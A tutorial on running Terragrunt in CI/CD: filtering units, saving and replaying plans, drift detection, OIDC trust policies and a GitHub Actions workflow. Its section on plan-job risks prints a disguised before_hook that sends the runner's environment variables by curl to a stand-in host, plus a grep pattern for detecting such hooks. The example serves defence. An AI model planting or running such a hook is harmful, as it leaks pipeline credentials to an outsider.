Terragrunt in CI/CD

Plan/apply many units safely.

Run Terragrunt from your laptop and there is a safety net you probably never think about: you. You skim the plan, spot the minus sign in front of the production database, and hit Ctrl-C. A pipeline has nobody in that chair. It is a locked room with a machine inside, and every question the machine could ask has to be answered before the door shuts. Putting Terragrunt into CI/CD (continuous integration and continuous delivery, the automation that checks your changes and then ships them) is the work of answering those questions ahead of time, in writing, in a form a reviewer can audit afterwards.

One word first, because everything below leans on it. A unit is one directory with a terragrunt.hcl file in it: one OpenTofu module (OpenTofu is the open source engine Terragrunt drives, the community fork of Terraform), one state file recording what that module built, one thing you can plan and apply on its own. A production environment is usually thirty of them in a directory tree, and a pipeline run is a decision about which ones to touch.

Nobody Is Standing at the Prompt

The flag that says "assume yes" is --non-interactive. Every Terragrunt flag has an environment variable twin with a TG_ prefix, so setting TG_NON_INTERACTIVE=true once at the top of a workflow saves you repeating it on every line, the same way --working-dir is TG_WORKING_DIR. It answers Terragrunt's own prompts affirmatively, with one deliberate exception. Asked whether to pull in an external dependency, a unit that lives outside the directory you started from, it answers no. Dragging units you never named into an unattended run is the 3am surprise you least want.

Here is the part people get wrong. --non-interactive is not what stops OpenTofu asking "Do you want to perform these actions?". Terragrunt's own documentation is blunt about it: using run --all with apply or destroy silently adds -auto-approve to the arguments handed to the binary, because every unit shares one stdin (standard input, the channel a keyboard would type into) and none of them can hold a conversation with you. There is no prompt to lose. Read that as a security statement. In a multi-unit run the approval step does not exist at the tool layer at all, so the only gate is the one you build in the pipeline. That is why plan and apply belong in separate jobs, on separate triggers, holding separate credentials.

# Pull-request job: plan everything under live/prod, answer nothing by hand
terragrunt run --all \
  --working-dir ./live/prod \
  --non-interactive \
  --log-level info \
  --parallelism 8 \
  --provider-cache \
  -- plan

14:22:11.583 STDOUT vpc tofu: No changes. Your infrastructure matches the configuration.
14:22:19.902 STDOUT rds tofu: Plan: 0 to add, 1 to change, 0 to destroy.
14:22:20.441 STDOUT eks tofu: No changes. Your infrastructure matches the configuration.
14:22:34.077 STDOUT app tofu: Plan: 2 to add, 0 to change, 0 to destroy.

Two of those flags earn their keep quietly. --parallelism 8 caps how many units run at once, which keeps your cloud provider's API (the interface your tools call to create and change resources) from rate limiting you, and keeps the interleaved logs readable enough to grep. --provider-cache starts Terragrunt's own provider cache server. Do not reach for TF_PLUGIN_CACHE_DIR instead: OpenTofu's plain cache directory is not safe when several units download into it at the same time, they overwrite each other's files and you get Error: Failed to install provider. Terragrunt ships the cache server to fix that exact race. The bare -- splits Terragrunt's flags from the arguments meant for OpenTofu, and the moment you pass something like -detailed-exitcode you need it.

Plan Only What the Branch Touched

A painter repaints one door. He does not re-survey the building. Planning every unit on every pull request gets slow and noisy once a repo holds thirty of them, and a wall of unchanged output trains reviewers to skim. --filter is Terragrunt's query language for picking a slice. Bare words match unit names (rds). A leading ./ matches paths (./live/prod/**). type=unit matches attributes and ! negates. A pipe narrows one filter with another, so a result has to match both sides, while repeating the flag gives you a union: --filter rds --filter app means either one. Two forms matter most in a pipeline. Square brackets take a git range, so [main...HEAD] means "the units this branch touched". Ellipses walk the dependency graph: rds... is the database unit plus everything it depends on, and ...rds is the database unit plus everything that depends on it.

# 1. On your laptop, where main is a real local branch: what would this touch?
#    --dag prints the units in dependency order, dependencies first.
terragrunt find --working-dir ./live/prod --filter '[main...HEAD]' --dag
 
# 2. On a runner, let Terragrunt work out the default branch itself.
#    Needs real git history checked out, not a shallow clone.
terragrunt run --all --working-dir ./live/prod --non-interactive --filter-affected -- plan

rds
app
14:31:02.884 STDOUT rds tofu: Plan: 0 to add, 1 to change, 0 to destroy.
14:31:15.309 STDOUT app tofu: Plan: 2 to add, 0 to change, 0 to destroy.

--filter-affected is shorthand for the common case. It works out your repository's default branch and compares it against HEAD, which makes it the same thing as --filter '[main...HEAD]' without hardcoding a branch name. It needs the real history on the runner, because Terragrunt checks out each side of the range into a temporary worktree and diffs them, and that is why fetch-depth: 0 shows up in the workflow later. The older queue flags still run and are now aliases for --filter, so --queue-include-dir, --queue-exclude-dir and --units-that-include keep working in pipelines you already have. You no longer need a strictness flag either. Strict inclusion is the default, meaning the set you name is a hard boundary and nothing else slips into the queue, which is why --queue-strict-include is deprecated. Upstream dependencies of a changed unit do not need to be in that set for a plan; their outputs are read out of state, not recomputed. One safety detail worth knowing: when a git filter notices a unit your branch deleted, Terragrunt will not destroy it unless you also pass --filter-allow-destroy. Removing a folder in a pull request does not quietly remove the infrastructure.

# One unit plus everything that depends on it
terragrunt run --all --working-dir ./live/prod --filter '...rds' -- plan
 
# One unit plus everything it depends on
terragrunt run --all --working-dir ./live/prod --filter 'rds...' -- plan
 
# Union of positives, then exclusions: everything except the monitoring tree
terragrunt run --all --working-dir ./live/prod \
  --filter './**' --filter '!./monitoring/**' -- plan
 
# A pipe intersects instead: only things under prod that are units
terragrunt run --all --working-dir ./live/prod --filter './** | type=unit' -- plan
 
# Legacy spelling, kept as an alias for --filter
terragrunt run --all --working-dir ./live/prod --queue-include-dir "rds" -- plan

Apply the Plan Someone Actually Read

A builder's signed quote is worth something because the number on the paper is the number you pay. "We will work out the price once the wall is down" is worth nothing. Most Terragrunt pipelines hand out the second kind. The plan on the pull request was computed at 10:04 against state as it looked then. The apply on merge computes a brand new plan at 15:40, against a provider version that may have floated, state somebody touched from a console, and dependency outputs that moved since. Nobody approved that second plan. It is inferred from the first and hoped to match.

--out-dir closes the gap. Terragrunt writes each unit's binary plan file into a directory tree that mirrors the unit paths, so the unit at live/prod/rds lands at <out-dir>/rds/tfplan.tfplan when you run with --working-dir ./live/prod. --json-out-dir writes the machine readable copy into a tree of the same shape, which is what you feed to a policy engine so the build fails on "this plan destroys a database" before a human ever opens the diff. On merge you point apply at the same directory and it replays those files instead of thinking again.

# Pull-request job: plan once, keep the binary plans and a JSON copy
terragrunt run --all --working-dir ./live/prod --non-interactive \
  --filter-affected \
  --out-dir      "$RUNNER_TEMP/tfplan" \
  --json-out-dir "$RUNNER_TEMP/tfjson" \
  -- plan
 
# The plan files themselves are the record of which units were reviewed
find "$RUNNER_TEMP/tfplan" -type f

14:44:09.512 STDOUT rds tofu: Plan: 0 to add, 1 to change, 0 to destroy.
14:44:21.660 STDOUT app tofu: Plan: 2 to add, 0 to change, 0 to destroy.
/home/runner/work/_temp/tfplan/rds/tfplan.tfplan
/home/runner/work/_temp/tfplan/app/tfplan.tfplan

Two details decide whether this actually works. Apply has to be given the same set of units, because --out-dir controls where plan files are read and written but does not restrict what run --all discovers: leave the filter off and Terragrunt walks the whole tree, finds no plan file for the units nobody planned, and errors out. And --filter-affected cannot be that filter on the merge job. It compares the default branch against HEAD, and after the merge HEAD is the default branch, so the affected set comes back empty and the run does nothing at all. Rebuild the list from the plan files you downloaded. They are the only record that cannot drift from what was reviewed.

# Merge job: turn the downloaded plan files back into an explicit unit list
mapfile -t UNITS < <(cd ./tfplan && find . -name tfplan.tfplan -printf '%h\n' | sed 's|^\./||')
 
FILTERS=()
for u in "${UNITS[@]}"; do FILTERS+=(--filter "./$u"); done
 
terragrunt run --all --working-dir ./live/prod --non-interactive \
  "${FILTERS[@]}" \
  --out-dir "$PWD/tfplan" \
  -- apply

15:41:07.219 STDOUT rds tofu: Apply complete! Resources: 0 added, 1 changed, 0 destroyed.
15:41:52.664 STDOUT app tofu: Apply complete! Resources: 2 added, 0 changed, 0 destroyed.

There is a second trap in the same area, and it bites hardest on new environments. When a downstream unit's dependency block points at something that has never been applied, there are no real outputs to read, so Terragrunt substitutes the mock_outputs you configured. The plan then describes placeholder values rather than what will be built, and a reviewer can approve something that looks clean and breaks on apply. There is no transaction either. run --all apply walks the graph branch by branch, stops the branch that fails, and leaves the environment half built with nothing to roll back. So bootstrap the foundational layers (state buckets, networking, IAM, which is identity and access management, the service that decides who may do what) with a real apply before you trust any cross-unit plan, and pin mock_outputs_allowed_terraform_commands to ["plan", "validate"] so a mock can never reach a command that provisions real infrastructure. On a brand new environment, a green plan is a syntax check.

Exit Codes Are the Whole Contract

CI believes exactly one thing about your job: the number it exited with. -detailed-exitcode makes that number say something worth acting on. Zero means the run succeeded and nothing would change. Two means it succeeded and changes are pending. One means it failed. Across a multi-unit run Terragrunt aggregates them: if any unit throws a one, the run is one; if any unit throws a two and nothing threw a one, the run is two; otherwise you get zero.

That one behaviour turns a scheduled job into a night watchman who walks the building at 2am and rattles every door. Plan against the default branch on a timer and read the exit code. Zero means production still matches the repository. Two means something in the cloud no longer does, which is what a console click, a rushed emergency fix, or an attacker holding a stolen session all leave behind. For the price of a nightly plan, you get a tripwire across your entire estate.

# Nightly on the default branch: exit 2 means the cloud drifted from the repo
terragrunt run --all \
  --working-dir ./live/prod \
  --non-interactive \
  --log-level info \
  -- plan -detailed-exitcode
echo "exit=$?"

02:00:41.118 STDOUT vpc tofu: No changes. Your infrastructure matches the configuration.
02:00:58.902 STDOUT eks tofu: Plan: 0 to add, 1 to change, 0 to destroy.
02:01:04.336 STDOUT app tofu: No changes. Your infrastructure matches the configuration.
exit=2

Keys That Expire Before the Job Does

A static cloud access key sitting in a pipeline secret is a master key taped under the reception desk. It opens the door for anyone who gets a look at it, long after whoever copied it has gone. OIDC (OpenID Connect, a standard way for one system to prove who it is to another using a short lived signed token) replaces that with a key card cut for one guest, one door, one night. The runner asks its own platform for a token stating which repository, branch and workflow are running. AWS trusts that issuer, checks the statement against a role's trust policy, and hands back a session that expires by itself.

id-token: write is the permission that lets the runner mint the token; without it the credentials step fails before Terragrunt is ever called. The conditions in the trust policy are where the security actually lives. Pin aud (the audience, who the token is for) to sts.amazonaws.com, which is AWS Security Token Service, the service that issues temporary credentials. Then pin sub (the subject, who the token is about) to one exact string.

That subject string is where careful people still get burned, because GitHub builds it differently depending on the job. A job running on a branch gets repo:acme/infra:ref:refs/heads/main. A job triggered by a pull request gets repo:acme/infra:pull_request, with no ref in it at all, since the code under test is not yet on any branch you control. And a job that names an environment gets repo:acme/infra:environment:production, where the environment replaces the ref rather than being added alongside it. So the apply job below, which sits behind environment: production, never presents a ref:refs/heads/main subject, and a trust policy pinned to that string will reject it with an access denied you can waste an afternoon on. Pin the environment instead, then restrict that environment's deployment branches to your default branch in the repository settings. Now both halves hold: GitHub decides which branch is allowed to ask, AWS decides which subject is allowed in.

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com"
    },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
        "token.actions.githubusercontent.com:sub": "repo:acme/infra:environment:production"
      }
    }
  }]
}

The plan role's trust policy pins repo:acme/infra:pull_request for the same reason, and the classic mistake on either role is reaching for StringLike with a wildcard. repo:acme/* lets every repository in the organisation assume your apply role. repo:acme/infra:* lets any branch in that one repository do it, including the branch an attacker opened this morning. Use StringEquals on the exact subject, and where you genuinely need several, list several strings rather than a star. One more thing about the plan role: "read-only" describes your infrastructure, not your backend. A plan still reads the state file and takes a lock on it, so that role needs read access across the account plus write access to the lock (a DynamoDB item, or the lock file next to the state object on newer backends) and nothing else.

name: terragrunt
on:
  pull_request:          # NOT pull_request_target: that runs with our secrets
  push:
    branches: [main]
 
permissions:
  contents: read
 
env:
  TG_NON_INTERACTIVE: "true"
  TG_LOG_LEVEL: info
 
jobs:
  plan:
    if: github.event_name == 'pull_request'
    runs-on: ubuntu-24.04
    permissions:
      contents: read
      id-token: write                  # mint the OIDC token; without it the role step fails
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0               # git filters diff two refs, so they need real history
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          # trust policy pins sub to repo:acme/infra:pull_request
          role-to-assume: arn:aws:iam::111122223333:role/tg-ci-plan   # read-only
          role-session-name: tg-plan-${{ github.run_id }}
          aws-region: us-east-1
      - run: |
          terragrunt run --all --working-dir ./live/prod \
            --filter-affected --out-dir "$RUNNER_TEMP/tfplan" -- plan
      - uses: actions/upload-artifact@v4
        with:
          name: tfplan
          path: ${{ runner.temp }}/tfplan
          retention-days: 1            # plan files carry secrets
 
  apply:
    if: github.event_name == 'push'
    runs-on: ubuntu-24.04
    environment: production            # reviewers live here, not in a CLI prompt
    permissions:
      contents: read
      id-token: write
      actions: read                    # the plans live in the pull request's run
    steps:
      - uses: actions/checkout@v4
      - name: Find the run that produced the reviewed plans
        id: planrun
        env:
          GH_TOKEN: ${{ github.token }}
        run: |
          head=$(gh api "repos/$GITHUB_REPOSITORY/commits/$GITHUB_SHA/pulls" --jq '.[0].head.sha')
          id=$(gh api "repos/$GITHUB_REPOSITORY/actions/runs?head_sha=$head" --jq '.workflow_runs[0].id')
          echo "id=$id" >> "$GITHUB_OUTPUT"
      - uses: actions/download-artifact@v4
        with:
          name: tfplan
          path: ./tfplan
          run-id: ${{ steps.planrun.outputs.id }}   # another run, so both of these
          github-token: ${{ github.token }}         # are required, not optional
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          # trust policy pins sub to repo:acme/infra:environment:production
          role-to-assume: arn:aws:iam::111122223333:role/tg-ci-apply  # can write
          role-session-name: tg-apply-${{ github.run_id }}
          aws-region: us-east-1
      - run: ./scripts/apply-saved-plans.sh

Check that it landed where you think. Every one of those exchanges shows up in CloudTrail (AWS's ledger of API calls in the account) as an AssumeRoleWithWebIdentity event, and the caller identity carries the full subject string. An alert on that event, where the role is the apply role and the subject is anything other than repo:acme/infra:environment:production, catches both a trust policy somebody loosened and an outsider trying to ride your pipeline's identity from a branch they control.

# Who assumed the apply role, and under which subject?
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRoleWithWebIdentity \
  --max-results 1 --query 'Events[0].CloudTrailEvent' --output text \
  | jq '{subject: .userIdentity.userName, role: .requestParameters.roleArn, session: .requestParameters.roleSessionName}'

{
  "subject": "repo:acme/infra:environment:production",
  "role": "arn:aws:iam::111122223333:role/tg-ci-apply",
  "session": "tg-apply-9284471033"
}

A Plan Job Runs Whatever the Pull Request Says

"Plan is read-only" is true of your infrastructure and false of your runner. A Terragrunt before_hook runs a command on the machine doing the planning, before a human has read a single line of the diff. So does run_cmd(), a config function that shells out while the file is still being parsed, which means a plan, a validate or a terragrunt output all set it off. An outside contributor who adds four lines to a terragrunt.hcl (HCL is the configuration language Terragrunt and OpenTofu share) has code execution inside your plan job, holding whatever credentials that job holds.

# Four lines in a pull request. The label is chosen to look boring in a diff.
terraform {
  before_hook "tag_resources" {
    commands = ["plan"]
    execute  = ["sh", "-c", "env | curl -s --data-binary @- https://cdn-metrics.example/v1/x"]
  }
}

Four defences, in order of how much they buy you. Give the plan job a read-only role and put the write role behind an environment with required reviewers, so a hook in a pull request finds nothing worth stealing. Keep the trigger on pull_request, never pull_request_target, which runs the base branch's workflow with the base branch's secrets against a fork's code. Turn on the repository setting that requires approval before workflows run for first time contributors. Put *.hcl under CODEOWNERS, the file that forces named reviewers onto changes in matching paths, so a config change cannot merge on one distracted approval. Then add the cheap detector below, which flags newly added command execution before anyone reads the rest of the branch.

# Pre-review check: does this branch add command execution to any config?
git diff --unified=0 origin/main...HEAD -- '*.hcl' \
  | grep -nE '^\+.*(before_hook|after_hook|error_hook|execute *=|run_cmd\()'

7:+  before_hook "tag_resources" {
9:+    execute  = ["sh", "-c", "env | curl -s --data-binary @- https://cdn-metrics.example/v1/x"]

Prove the separation is real instead of assuming it. Open a throwaway pull request that adds a before_hook running aws sts get-caller-identity, and read the plan job's log. If it prints the read-only role, your split holds. If the apply role's ARN (Amazon Resource Name, the unique identifier AWS gives every resource) shows up there, every reviewer on that repository is one merge away from being decorative, and you found out for the price of a test branch rather than an incident.

Try this

Run terragrunt find --working-dir ./live/prod --filter '[main...HEAD]' --dag on a scratch host or disposable cluster and read the output against what this lesson described. Then change one input so it fails, and re-run: the error you get is the one you will meet in production.

Takeaway

The trap worth remembering here: a saved plan is a secret, treat the artifact like one. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related